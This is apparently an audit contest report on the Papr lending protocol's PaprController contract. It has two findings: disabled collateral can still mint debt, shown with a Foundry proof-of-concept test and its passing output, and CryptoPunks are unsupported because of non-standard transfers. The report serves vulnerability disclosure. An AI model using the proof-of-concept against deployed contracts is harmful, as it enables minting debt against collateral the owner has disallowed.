Papr contest - ladboy233's results

Lines of code

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L365 https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L138

Vulnerability details

Impact

Disabled collateral can still be used to mint debt

Proof of Concept

There is a access control function in PaprController.sol

/// @inheritdoc IPaprController
function setAllowedCollateral(IPaprController.CollateralAllowedConfig[] calldata collateralConfigs)
	external
	override
	onlyOwner
{

According to IPaprController, if the collateral is disabled set to false, the user should not be allowed to mint debt using the collateral,

/// @notice sets whether a collateral is allowed to be used to mint debt
/// @dev owner function
/// @param collateralConfigs configuration settings indicating whether a collateral is allowed or not
function setAllowedCollateral(IPaprController.CollateralAllowedConfig[] calldata collateralConfigs) external;

However, the code only checks if the collateral is allowed when adding collateral,

function _addCollateralToVault(address account, IPaprController.Collateral memory collateral) internal {
	if (!isAllowed[address(collateral.addr)]) {
		revert IPaprController.InvalidCollateral();
	}

but does not have the same check when minting debt, then user can use diabled collateral to mint debt.

function _increaseDebt(
	address account,
	ERC721 asset,
	address mintTo,
	uint256 amount,
	ReservoirOracleUnderwriter.OracleInfo memory oracleInfo
) internal {
	uint256 cachedTarget = updateTarget();

	uint256 newDebt = _vaultInfo[account][asset].debt + amount;
	uint256 oraclePrice =
		underwritePriceForCollateral(asset, ReservoirOracleUnderwriter.PriceKind.LOWER, oracleInfo);

	uint256 max = _maxDebt(_vaultInfo[account][asset].count * oraclePrice, cachedTarget);

	if (newDebt > max) revert IPaprController.ExceedsMaxDebt(newDebt, max);

	if (newDebt >= 1 << 200) revert IPaprController.DebtAmountExceedsUint200();

	_vaultInfo[account][asset].debt = uint200(newDebt);
	PaprToken(address(papr)).mint(mintTo, amount);

	emit IncreaseDebt(account, asset, amount);
}

As shown in the coded POC

We can add the following test to increaseDebt.t.sol

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/test/paprController/IncreaseDebt.t.sol#L32

function testIncreaseDebt_POC() public {

	uint256 debt = 10 ether;
	// console.log(debt);

	vm.assume(debt < type(uint200).max);
	vm.assume(debt < type(uint256).max / controller.maxLTV() / 2);

	oraclePrice = debt * 2;
	oracleInfo = _getOracleInfoForCollateral(nft, underlying);


	vm.startPrank(borrower);
	nft.approve(address(controller), collateralId);
	IPaprController.Collateral[] memory c = new IPaprController.Collateral[](1);
	c[0] = collateral;

	controller.addCollateral(c);

	// disable the collateral but still able to mint debt
	IPaprController.CollateralAllowedConfig[] memory args = new IPaprController.CollateralAllowedConfig[](1);
	args[0] = IPaprController.CollateralAllowedConfig({
		collateral: address(collateral.addr),
		allowed: false
	});

	vm.stopPrank();

	vm.prank(controller.owner());
	controller.setAllowedCollateral(args);

	vm.startPrank(borrower);

	controller.increaseDebt(borrower, collateral.addr, debt, oracleInfo);
	assertEq(debtToken.balanceOf(borrower), debt);
	assertEq(debt, controller.vaultInfo(borrower, collateral.addr).debt);
}

We disable the collateral but still able to mint debt by calling increaseDebt

We run the test

forge test -vvv --match testIncreaseDebt_POC

The test pass, but the test should revert.

Running 1 test for test/paprController/IncreaseDebt.t.sol:IncreaseDebtTest
[PASS] testIncreaseDebt_POC() (gas: 239301)
Test result: ok. 1 passed; 0 failed; finished in 237.42ms

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend the project add check to make sure when the collateral is disabled, the collateral should not be used to mint debt

if (!isAllowed[address(collateral.addr)]) {
	revert IPaprController.InvalidCollateral();
}

Lines of code

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L444 https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L101

Vulnerability details

Impact

Crypto punk cannot be used a collateral.

Cryptopunks are at the core of the NFT ecosystem. As one of the first NFTs, it embodies the culture of NFT. By not supporting the cryptopunk, backed is at a severe disadvantage when compared to other lending marketplace.

Proof of Concept

In the documentation:

https://backed.mirror.xyz/8SslPvU8of0h-fxoo6AybCpm51f30nd0qxPST8ep08c

the doc use punk as an example,

Let’s go through an example. Suppose there is a papr token protocol defined by the example values in the table above.

Lending criteria: only PUNK collateral

Collateral price oracle: Trailing 30 day floor price on OpenSea

Max loan to value ratio: 50%

Underlying token: USDC

however, the protocol does not support crypto punk NFT

The crypto punk smart contract implementation comes before the ERC721 NFT standard mature

https://etherscan.io/token/0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb#writeContract

The transfer method for crypto punk is

transferPunk

but in the implementation in PaprController when adding and removing collateral

all standard ERC721 transfer method and safeTransferom is used.

// allows for onReceive hook to sell and repay debt before the
// debt check below
collateral.addr.safeTransferFrom(address(this), sendTo, collateral.id);

and

_addCollateralToVault(msg.sender, collateralArr[i]);
collateralArr[i].addr.transferFrom(msg.sender, address(this), collateralArr[i].id);

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend the project support wrapped punk or implement the logic to support crypto punk transfer.